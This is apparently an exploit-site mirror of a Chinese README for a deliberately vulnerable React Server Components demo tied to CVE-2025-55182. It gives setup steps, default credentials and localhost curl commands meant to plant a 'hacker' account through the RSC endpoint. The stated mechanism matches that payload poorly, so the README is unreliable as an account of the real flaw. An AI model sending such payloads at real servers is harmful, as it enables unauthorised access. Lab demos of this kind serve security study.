Sploitus

Exploit for React2Shell-Kingdom

kitploit · 2026-08-31

Exploit Code

MARKDOWN318 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MYCOMPANYORGANIZATION-REACT2SHELL-KINGDOM
# React CVE-2025-55182 漏洞演示项目

## ⚠️ 安全警告

**本项目演示 React Server Components 19.1.1 中的一个严重 RCE 漏洞(CVE-2025-55182 / React2Shell)。**

  * **仅供教育和安全研究使用**
  * **切勿部署到生产环境或暴露于不受信任的网络**
  * **仅在隔离、受控的环境中运行**
  * **测试前请确保已获得适当授权**



## 概述

本项目演示 CVE-2025-55182(React2Shell),这是 React Server Components 19.1.1 中的一个严重远程代码执行(RCE)漏洞。该应用包含:

  * 带用户名/密码认证的单页网站
  * React Server Components (RSC) 实现
  * RSC Flight 协议端点(存在漏洞)
  * Docker 部署配置
  * 演示该漏洞的 POC 利用载荷



## 项目结构

root@kitploit:~
    
    
    react-cve-demo/
    ├── package.json              # React 19.1.1 with react-server-dom-webpack
    ├── server.js                 # Custom React server with RSC support
    ├── src/
    │   ├── App.jsx              # Main React component
    │   ├── Login.jsx            # Login page component
    │   ├── Dashboard.jsx        # Protected page component
    │   └── server-components/   # Server Components
    │       └── AuthServer.jsx   # Server-side auth logic
    ├── data/
    │   └── users.json           # User credentials storage
    ├── Dockerfile               # Docker containerization
    ├── docker-compose.yml       # Docker Compose setup
    ├── .dockerignore
    ├── exploit/
    │   ├── poc.js              # POC exploit script (Node.js)
    │   └── poc.sh              # POC exploit script (bash/curl)
    └── README.md               # This file
    

## 环境要求

  * Node.js 18+
  * Docker 和 Docker Compose(可选,用于容器化部署)
  * npm 或 yarn



## 安装

### 本地开发

  1. 克隆或下载此仓库
  2. 安装依赖: 

root@kitploit:~
         
         npm install
         

  3. 启动服务器: 

root@kitploit:~
         
         npm start
         

  4. 通过 http://localhost:3000 访问应用



### Docker 部署

  1. 使用 Docker Compose 构建并运行:

root@kitploit:~
         
         docker-compose up --build
         

或者手动构建并运行:

root@kitploit:~
         
         docker build -t react-cve-demo .
         docker run -p 3000:3000 react-cve-demo
         

  2. 通过 http://localhost:3000 访问应用




## 使用流程

### 正常认证流程

  1. **访问应用** :导航到 http://localhost:3000
  2. **登录页面** :您将看到一个登录表单
  3. **默认凭据** : 
     * 用户名:`admin`,密码:`securepassword123`
     * 用户名:`user1`,密码:`password123`
  4. **登录成功** :您将被重定向到受保护的控制面板
  5. **退出登录** :点击退出按钮返回登录页面



### 漏洞演示

该漏洞存在于 RSC Flight 协议的反序列化机制中。该利用程序:

  1. 构造针对 Server Function 端点的恶意序列化载荷
  2. 利用不安全的反序列化执行任意 JavaScript
  3. 在 JSON 文件中创建新的用户条目
  4. 使用新凭据绕过认证



### 运行 POC 利用程序

#### 选项 1:Node.js 脚本

root@kitploit:~
    
    
    node exploit/poc.js
    

或使用自定义目标 URL:

root@kitploit:~
    
    
    TARGET_URL=http://localhost:3000 node exploit/poc.js
    

#### 选项 2:Bash 脚本

root@kitploit:~
    
    
    ./exploit/poc.sh
    

或使用自定义目标 URL:

root@kitploit:~
    
    
    TARGET_URL=http://localhost:3000 ./exploit/poc.sh
    

#### 选项 3:手动 curl 命令

**单行版本:**

root@kitploit:~
    
    
    curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
    

**多行版本(便于阅读):**

root@kitploit:~
    
    
    curl -X POST http://localhost:3000/rsc \
      -H "Content-Type: application/json" \
      -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
    

> **注意:** `exploit/curl-oneline.txt` 中还提供了可直接复制粘贴的单行命令

### 利用之后

运行利用程序后:

  1. 利用程序会在 `data/users.json` 中创建一个新用户
  2. 您现在可以使用新创建的凭据登录: 
     * 用户名:`hacker`
     * 密码:`hacked123`
  3. 这演示了该漏洞如何绕过认证



## 技术细节

### 漏洞(CVE-2025-55182)

该漏洞存在于 React Server Components 19.1.1 中,具体涉及:

  * **组件** :`react-server-dom-webpack`
  * **版本** :19.1.1(存在漏洞)
  * **问题** :RSC Flight 协议中的不安全反序列化
  * **影响** :远程代码执行(RCE)
  * **CVSS** :严重



### 服务器实现

服务器(`server.js`)实现了:

  * Express.js HTTP 服务器
  * RSC Flight 协议端点(`/rsc`)
  * Server Function 执行(存在漏洞的端点)
  * 会话管理
  * 静态文件服务



### 认证系统

  * **登录组件** :用于用户名/密码的客户端表单
  * **Auth Server 组件** :服务端认证逻辑
  * **用户存储** :存储凭据的 JSON 文件(`data/users.json`)
  * **受保护路由** :控制面板需要认证



### RSC Flight 协议

RSC Flight 协议端点接受:

  * `action: "callServerFunction"`:执行服务器函数
  * `action: "renderRSC"`:渲染 React Server Components



漏洞存在于 Server Function 调用被反序列化和执行的过程中。

## 安全注意事项

### ⚠️ 重要警告

  1. **隔离环境** :仅在受控、隔离的环境中运行
  2. **禁止生产使用** :切勿将存在漏洞的代码部署到生产环境
  3. **网络隔离** :不要暴露于不受信任的网络
  4. **教育目的** :仅用于安全研究和教育
  5. **法律合规** :测试前请确保已获得适当授权



### 最佳实践

  * 使用专用的虚拟机或容器进行测试
  * 除 localhost 外禁用网络访问
  * 不要在测试环境中存储敏感数据
  * 演示后清理测试数据
  * 遵循负责任披露实践



## 依赖项

  * **React** :19.1.1(存在漏洞的版本)
  * **react-server-dom-webpack** :19.1.1(存在漏洞的包)
  * **Express.js** :^4.18.2
  * **express-session** :^1.17.3
  * **Node.js** :18+



## 故障排除

### 服务器无法启动

  * 检查端口 3000 是否已被占用
  * 确认 Node.js 版本为 18 或更高
  * 确保所有依赖已安装(`npm install`)



### 利用程序不生效

  * 确认服务器正在运行
  * 检查 RSC 端点是否可访问
  * 查看服务器日志中的错误
  * 确保利用脚本具有适当的权限



### Docker 问题

  * 确保 Docker 正在运行
  * 检查 Docker Compose 版本兼容性
  * 确认端口 3000 可用
  * 查看 Docker 日志:`docker-compose logs`



## 参考

  * CVE-2025-55182:React2Shell 漏洞
  * React Server Components 文档
  * RSC Flight 协议规范



## 许可证

MIT 许可证 - 仅用于教育目的

## 免责声明

本软件仅用于教育和安全研究目的。作者和贡献者不对因使用本软件而导致的任何滥用或损害负责。使用风险自负,并确保遵守所有适用的法律法规。